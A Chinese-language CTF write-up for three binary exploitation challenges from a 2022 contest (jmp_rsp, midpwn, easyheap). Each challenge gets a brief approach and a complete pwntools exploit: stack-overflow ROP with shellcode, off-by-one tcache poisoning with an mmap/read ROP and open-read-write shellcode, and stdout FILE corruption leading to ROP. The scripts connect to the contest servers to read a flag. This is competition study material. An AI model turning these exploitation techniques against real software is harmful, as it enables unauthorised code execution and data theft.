jmp_rsp

题目

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/jmp_rsp.zip

解题思路

直接一把梭,写入ROP,在bss上写shellcode即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import time

context.log_level='debug'

# io = process('./jmp_rsp')
io = remote('47.106.122.102', 44071)

elf = ELF('./jmp_rsp')

context.clear(arch='x86_64')
shell_code = asm(shellcraft.sh())

pop_rdi = 0x0000000000400696
pop_rsi = 0x0000000000410173
pop_rdx = 0x0000000000449395
vuln_buf = 0x00000006B9144
# gdb.attach(io)

p = 'a' * 0x88 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(vuln_buf) + p64(pop_rdx) + p64(0x50) + p64(elf.sym['read']) + p64(vuln_buf)
io.sendline(p)
time.sleep(2)
io.sendline(shell_code)

io.interactive()

midpwn

题目

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/midpwn.zip

解题思路

逆向分析发现,开了沙箱,需要利用orw进行文件内容泄露

通过逆向分析发现edit函数存在off by one的漏洞

最后的思路就是,通过off by one修改下一个堆块的size位置,构造堆块堆叠,接下来主要控制tacache bin的fd指针构造任意位置分配读写。

能够实现任意位置读写之后,构造堆块进入unsortedbin,泄露main_arena的地址,从而泄露libc_base,通过偏移量算出environ的地址(libc地址中存放着environ变量,中存放着栈地址),再次构造堆块,分配到environ上面,泄露栈地址,最后,malloc执行的位置是在add函数,通过计算偏移修改add函数返回地址,写入ROP。

有关ROP的构造,实验发现mmap只需要前4个参数为addr、size、7、34即可分配出一个可执行的目标地址。

故构造ROP,分配一个0x23330000的地址作为写入shellcode的地址,最后调用read(0,0x23330000,0x50)写入orw

1
2
3
4
5
6
7
8
def func(a, b, c, d):
pp = p64(pop_rdi) + p64(a)
pp += p64(pop_rsi) + p64(b)
pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0)
return pp
p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])
p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])
p += p64(0x23330000)

有关ORW的构造

1
2
3
4
context(arch='amd64')
sc = asm(shellcraft.open('./flag'))
sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))
sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
import time

context.log_level='debug'
# getIO = lambda : process(['./ld-2.31.so', './orz'], env={'LD_PRELOAD': './libc-2.31.so'})
getIO = lambda : remote('120.79.220.233', 45715)
sc = ''
io = getIO()

def add(size, content):
io.sendlineafter('Your choose which one?\n', '1')
io.sendlineafter('please input note size : ', str(size))
io.sendlineafter('please input your note.\n', content)
def add2(size, content):
io.sendlineafter('Your choose which one?\n', '1')
io.sendlineafter('please input note size : ', str(size))
io.sendafter('please input your note.\n', content)

def edit(idx, content):
io.sendlineafter('Your choose which one?\n', '2')
io.sendlineafter('please input note index.\n', str(idx))
io.sendlineafter('please input new note.\n', content)

def show(idx):
io.sendlineafter('Your choose which one?\n', '3')
io.sendlineafter('please input note index.\n', str(idx))
def delete(idx):
io.sendlineafter('Your choose which one?\n', '4')
io.sendlineafter('please input note index.\n', str(idx))

# gdb.attach(io)
stack_offset = 0x120
add(0x28, 'aaaa') # 0
for i in range(10):
add(0xb0, 'aaaaaa') # 1 ~ 10
for i in range(10):
delete(i)
for i in range(7):
add(0xb0, 'aaaaa')
add2(0xb0, 'a')
show(7)
libc_base = u64(io.recv(8)) - (0x7f3a3e885d61 - 0x7f3a3e699000 )
log.success('libc_base:'+hex(libc_base))

environ = 0x01EF600 + libc_base
log.success('environ:'+hex(environ))

add(0x28, 'aaaa') # 8
add(0xb0, 'aaaa') # 9

add(0x28, 'aaaa') # 11 vuln
add(0x28, 'aaaa') # 12 edit
add(0x28, 'aaaa') # 13
add(0x28, 'aaaa') # 14
add(0x28, 'aaaa') # 15
add(0x28, 'aaaa') # 16

edit(11,'a' *0x28+'\xc1')
delete(12)
add(0xb0, 'aaaaa')
add(0x28, 'aaaa') # 17
delete(17)
delete(13)

edit(12, 'a'*0x28+p64(0x31)+p64(environ-0x10))

add(0x28, 'aaaa') # 13
add2(0x28, 'a'*0x10) # 17

show(17)
io.recv(16)
stack_base = u64(io.recv(8)) # - 0x1f438

log.success('stack_base:'+hex(stack_base))

pop_rdi = 0x0000000000023b72 + libc_base
pop_rsi = libc_base + 0x000000000002604f
pop_rdx_rcx_rbx = libc_base + 0x00000000001025ad
def func(a, b, c, d):
pp = p64(pop_rdi) + p64(a)
pp += p64(pop_rsi) + p64(b)
pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0)
return pp

libc = ELF('./libc-2.31.so')
libc.address = libc_base
flag_path = '/home/pwn/flag\x00'

flag_path_addr = stack_base + 0x150
add(0x28, 'aaaa') # 18
add(0x28, 'aaaa') # 19
delete(19)
delete(18)
delete(13)
edit(12, 'a'*0x28+p64(0x31)+p64(flag_path_addr))
add(0x28, 'aaaa') # 13
add2(0x28, flag_path) # 18

edit(12, 'a'*0x28+p64(0xc1))
add(0xb0, 'aaaaa') # 19
delete(19)
delete(13)

add_ret = stack_base - stack_offset

edit(12, 'a'*0x28+p64(0xc1) + p64(add_ret))
add(0xb0, 'aaaa') # 13


p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])
p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])
p += p64(0x23330000)
log.success('len:' + hex(len(p)))

add(0xb0, p)
context(arch='amd64')
if sc == '':
sc = asm(shellcraft.open('./flag'))
sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))
sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))

# gdb.attach(io)
time.sleep(0.2)
io.send(sc)


io.interactive()

easyheap

题目

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/easyheap.zip

解题思路

主要漏洞在,v3局部变量可能未初始化,可以提前布置栈帧,达到任意位置写入堆地址

以及还有一个backdoor函数,可以堆上任意写8字节(虽然只有一次,但利用上边的漏洞可以无限次)

利用house of orange,修改IO_2_stdout,泄露libc_base,再次利用泄露environ地址,栈地址,heap基址

之后利用修改tcachebin上的fd指针,参考midpwn的解法,修改add函数的返回地址,写入orw ROP,获得flag

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *
import ctypes
import time

context(arch="amd64")
context.log_level = 'debug'
getIO = lambda:process(['./ld-2.31.so', './easyheap'], env={'LD_PRELOAD': './libc-2.31.so'})
io = getIO()

def add(size, cont):
io.sendlineafter('4.delete\n', '1')
io.sendlineafter('Size?\n', str(size))
io.sendafter('Context:\n', cont)

def add2(size, offset, cont):
pp = '1\x00'
pp += '\x00' * (12 - len(pp))
pp += p32(ctypes.c_uint32(offset).value)
io.sendafter('4.delete\n', pp)
io.sendlineafter('Size?\n', str(size))
io.sendlineafter('Context:\n', cont)

def add3(size, offset, cont):
pp = '1\x00'
pp += '\x00' * (12 - len(pp))
pp += p32(ctypes.c_uint32(offset).value)
io.sendafter('4.delete', pp)
io.sendlineafter('Size?', str(size))
io.sendafter('Context:', cont)

def edit(idx, cont):
io.sendlineafter('4.delete\n', '2')
io.sendlineafter('Idx?\n', str(idx))
io.sendlineafter('Context:\n', cont)

def edit2(idx, cont):
io.sendlineafter('4.delete', '2')
io.sendlineafter('Idx?', str(idx))
io.sendafter('Context:', cont)

def backdoor(size, offset, cont):
io.sendlineafter('4.delete\n', '666')
io.sendlineafter('Size?\n', str(size))
io.sendlineafter('Offset?\n', str(offset))
io.sendafter('Context:\n', cont)

def backdoor2(size, offset, cont):
io.sendlineafter('4.delete', '666')
io.sendlineafter('Size?', str(size))
io.sendlineafter('Offset?', str(offset))
io.sendafter('Context:', cont)

while 1:
fake_size = 0x061 + 0x1000*1
# add(,'aaaaa')
backdoor(0x18, 0x6b8, p64(fake_size))
add(0x2000, 'aaaaa')
add(0x20, 'a')
add(0x20, 'aaa')
add(0x20, 'aaa')
add(0x20, 'aaa')
add(0x20, 'aaa')
add(0x20, 'aaa')

add2(0x10, -10, 'aaa')

backdoor(0x18, -3080, '\xb0')
# backdoor(0x18, -32, '\xb0')
backdoor(0x18, -3616+6, p32(0x7))
stdout_in = 0x16a0

backdoor(0x18, 800, '\xa0\x16')

# add2(0x18, 0, 'aa')
flag = 0xfbad1800
# add2(0x18, )
add2(0x48, 1, 'aa')
try:
add2(0x48, 0, p64(flag)+p64(0)*3 + '\x08')
inp = io.recv(8,timeout=0.2)
if '1.add' in inp:
assert 1 == 2
stdin_addr = u64(inp)
log.success('stdin_addr:'+hex(stdin_addr))
break
except:
io.close()
io = getIO()

libc_base = stdin_addr - 0x1ee7f0
log.success('libc_base:'+hex(libc_base))

main_arena_96 = 0x1ecbe0 + libc_base
edit2(0, p64(flag)+p64(0)*3 + p64(main_arena_96))

heap_base = u64(io.recv(8)) -0x23010
log.success('heap_base:'+hex(heap_base))

environ = 0x228138 + libc_base # 偏移量可能不同
edit2(0, p64(flag)+p64(0)*3 + p64(environ) + p64(environ+0x10) + p64(environ+0x10))
log.success('environ:'+hex(environ))

stack_environ = u64(io.recv(8))
log.success('stack_environ:'+hex(stack_environ))

rax_0 = 0x00000000000b1d89 + libc_base # xor rax, rax ; ret
rax_1 = 0x00000000000cfb50 + libc_base # mov rax, 1 ; ret
rax_2 = 0x00000000000cfb60 + libc_base # mov rax, 2 ; ret
pop_rdi = 0x0000000000023b72 + libc_base # pop rdi ; ret
pop_rsi = 0x000000000002604f + libc_base # pop rsi ; ret
xchg_eax_edi = 0x00000000000f1b95 + libc_base # xchg eax, edi ; ret
syscall = 0x00000630D9 + libc_base # syscall; ret in (funlockfile)


vuln_stack_tar = stack_environ - 0x138 + 0x20
backdoor2(0x18, -512, p64(vuln_stack_tar))

add3(0xf0-8, 1, 'aaaaaa')
# io.sendafter('4.delete', '1')
# io.sendlineafter('Size?', )

rop_tmp = [
pop_rdi, 0xadd,
pop_rsi, 0,
rax_2, syscall, # open
xchg_eax_edi, # eax -> edi fd
pop_rsi, 0xadd,
rax_0, syscall, # read
pop_rdi, 1,
rax_1, syscall # write
]
rop_tmp[1] = rop_tmp[8] = vuln_stack_tar + len(rop_tmp) * 8
rop_tmp = flat(rop_tmp) + './flag\x00'

# gdb.attach(io)
add3(0xf0-8, 1, rop_tmp)

io.interactive()

其他

赛后的补题,比赛没时间了(菜),本地记得新建./flag文件

本文采用CC-BY-SA-4.0协议,转载请注明出处
作者: Csome
Hits